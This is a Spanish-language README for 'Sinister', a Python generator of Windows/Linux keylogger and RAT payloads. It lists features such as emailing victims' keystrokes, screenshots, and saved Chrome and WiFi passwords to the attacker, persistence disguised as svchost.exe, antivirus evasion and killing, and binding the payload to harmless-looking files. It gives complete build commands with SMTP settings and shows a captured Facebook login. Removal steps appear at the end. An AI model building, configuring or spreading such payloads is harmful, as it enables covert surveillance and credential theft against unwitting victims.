Sinister

                    Este pequeño script de Python puede hacer un trabajo realmente impresionante.

Sinister es un generador de Keylogger para Windows/Linux, que envía registros de teclas y capturas de pantalla por correo electrónico junto con otra información jugosa de la víctima, escrito en Python 3.

Descargo de responsabilidad

:computer: Este proyecto fue creado solo con fines benéficos y de uso personal.

ESTE SOFTWARE SE PROPORCIONA "TAL CUAL" SIN GARANTÍA DE NINGÚN TIPO. USTED PUEDE USAR ESTE SOFTWARE BAJO SU PROPIO RIESGO. EL USO ES DE COMPLETA RESPONSABILIDAD DEL USUARIO FINAL. LOS DESARROLLADORES NO ASUMEN NINGUNA RESPONSABILIDAD Y NO SON RESPONSABLES DE NINGÚN USO INDEBIDO O DAÑO CAUSADO POR ESTE PROGRAMA.

Características

• Funciona en Windows/Linux
• Notificar nueva víctima por correo electrónico
• Indetectable
• Persistencia
• Validación de credenciales de correo antes de la generación del payload.
• Puede recibir keylogs en cualquier proveedor de correo como GMAIL, YAHOO, OUTLOOK, SMTP personalizado.

• Servidor/Puerto SMTP

• Envía captura de pantalla de la pantalla del PC de la víctima por correo electrónico
• Crea un binario ejecutable con cero dependencias
• Crea un payload de tamaño reducido (~5mb) con funcionalidades avanzadas
• Ofusca el payload antes de generarlo, evadiendo así algunos antivirus más
• El payload generado está codificado en base64, lo que hace extremadamente difícil la ingeniería inversa del payload
• Función para matar el antivirus en el PC de la víctima e intentar deshabilitar la seguridad
• Interfaz colorida impresionante para generar payload
• Del lado del atacante: al crear el payload, el script detecta automáticamente las dependencias faltantes y las instala
• Distingue los datos de registro según el nombre de la ventana activa (Consulte la imagen para una mejor comprensión)
• Capacidad de agregar un icono personalizado al archivo malicioso
• Binder integrado que puede vincular el keylogger a cualquier archivo [.pdf, .txt, .exe, etc.], ejecutando el archivo legítimo en primer plano y los códigos maliciosos en segundo plano como un servicio.
• Verifica si ya hay una en el sistema; si se encuentra una instancia en ejecución, solo se ejecuta el archivo legítimo [ para evitar recibir registros de correo duplicados].

Nota: El stealer personalizado está codificado, no depende de LaZagne

• Obtiene y envía información útil del dispositivo de la víctima

• Si su payload no puede ejecutarse, especifique --debug para ejecutar el exe en primer plano con CMD

Importante

El 30 de mayo de 2022, Google eliminó la función de aplicaciones menos seguras, por lo que en lugar de la contraseña de Gmail:

• Habilite 2FA en su Gmail de atacante
• Cree una contraseña específica para la aplicación
• Use esa contraseña específica de la aplicación al crear el payload.
• Cómo crear una contraseña específica de la aplicación: Haga clic aquí

Probado en

Kali Linux - EDICIÓN ROLLING

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Requisitos previos

• Python 3.X
• Algunos módulos externos

Cómo usar en Linux

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Navigate to Sinister folder
$ cd Sinister

# Installing dependencies
$ bash installer_linux.sh

*** Note When The Python Installer DialogBox Appear while executing installer_linux.sh ***
    * Click on custom install 
    * Select Path to : C:/Python37-32
    ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Making Payload/RAT
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Cómo usar en Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Go into the repository
$ cd Sinister

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open Sinister.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe" 

# Getting Help Menu
$ python Sinister.py --help

# Making Payload/RAT
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass-w -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Cómo actualizar

• Ejecute updater.py para actualizar automáticamente o descargue el último Zip desde este repositorio de GitHub
• Nota: Git debe estar instalado para usar updater.py

Nota:- El archivo malicioso se guardará dentro de la carpeta dist/, dentro de la carpeta Sinister/

Argumentos disponibles

• Argumentos opcionales

Nota: Se debe especificar -w/--windows o -l/--linux

• Argumentos requeridos

Nuevas capturas de pantalla:

Obteniendo ayuda

Generando payload

Recibiendo informe

Los datos de registro se distinguen según el nombre de la ventana activa ~ Característica añadida en v1.3 y posteriores

Recupera y envía las contraseñas guardadas del navegador Chrome

• Nota: Para usar esta característica, especifique -s o --steal-password al crear el keylogger

Recupera y envía las contraseñas WiFi guardadas

• Nota: Para usar esta característica, especifique -s o --steal-password al crear el keylogger

Consulte también estas imágenes antiguas

~Capturas de pantalla antiguas:

Obteniendo ayuda

Ejecutando el script Sinister.py

Construcción finalizada

Cuando se ejecuta el keylogger, agrega una entrada de registro para volverse persistente

Hace una copia de sí mismo y la guarda en Roaming

Escribiendo texto aleatorio para probar el keylogger

Informe 1 enviado por Sinister

Inicio de sesión en facebook ~ Víctima

Informe 2 - Keylogs de las credenciales de facebook

Informe 3 - Con capturas de pantalla

Problemas de depuración

Intente ejecutar el keylogger fuera de línea para probar la captura de keylogs sin conexión y depurar problemas del keylogger ejecutando estos comandos:

Ejecute test_key.py en ambos modos [Compilado y Raw] y determine cuál es el error

Ejecútelo así: python test_key.py

También compílelo así: pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard

Después de ejecutarlo, comience a escribir algo, El resultado se mostrará en el símbolo del sistema cada 10 segundos

Los archivos del keylogger fuera de línea se encuentran en la carpeta TestKeylogger

• Si el payload no puede ejecutarse en el sistema de la víctima

1. Cree un nuevo payload con la bandera --debug
2. Ejecute el exe del payload a través de cmd [No ejecute el payload haciendo doble clic]
3. Ahora dará un error más apropiado en CMD, simplemente coloque ese problema en la sección de Problemas

Eliminar Sinister en Windows:

Método 1:

• Vaya a inicio, escriba regedit y ejecute el primer programa, esto abrirá el editor del registro.
• Navegue a la siguiente ruta Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Allí debería haber una entrada llamada svchost, haga clic derecho en esa entrada y seleccione Eliminar.
• Vaya a la ruta de su usuario > AppData > Roaming, verá un archivo llamado "svchost.exe", este es el RAT, haga clic derecho > Eliminar.
• Reinicie el sistema.

Método 2:

• Ejecute "RemoveSinister.bat" en el sistema infectado y luego reinicie el PC para detener el archivo malicioso en ejecución actual.

Eliminar Sinister en Linux:

• Abra el archivo de inicio automático con cualquier editor de texto, Ruta del archivo de inicio automático: ~/.config/autostart/xinput.desktop

• Elimine estas 5 líneas:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• Nota: destination_file_name es el nombre que le dio al archivo malicioso usando el parámetro -o

• Reinicie su sistema y luego elimine el archivo malicioso almacenado en esta ruta a continuación

• Ruta de destino, donde se almacena el keylogger: ~/.config/xnput

Contribuyentes

• Lista de contribuyentes dedicados: Contribuyentes

¡Las contribuciones de cualquier tipo son bienvenidas!

NOTA: Si debería estar en la lista de contribuyentes pero lo olvidamos, ¡háganoslo saber!

PENDIENTE

• Sugerir su propia característica
• Añadir nuevas características
• Contribuir con la versión GUI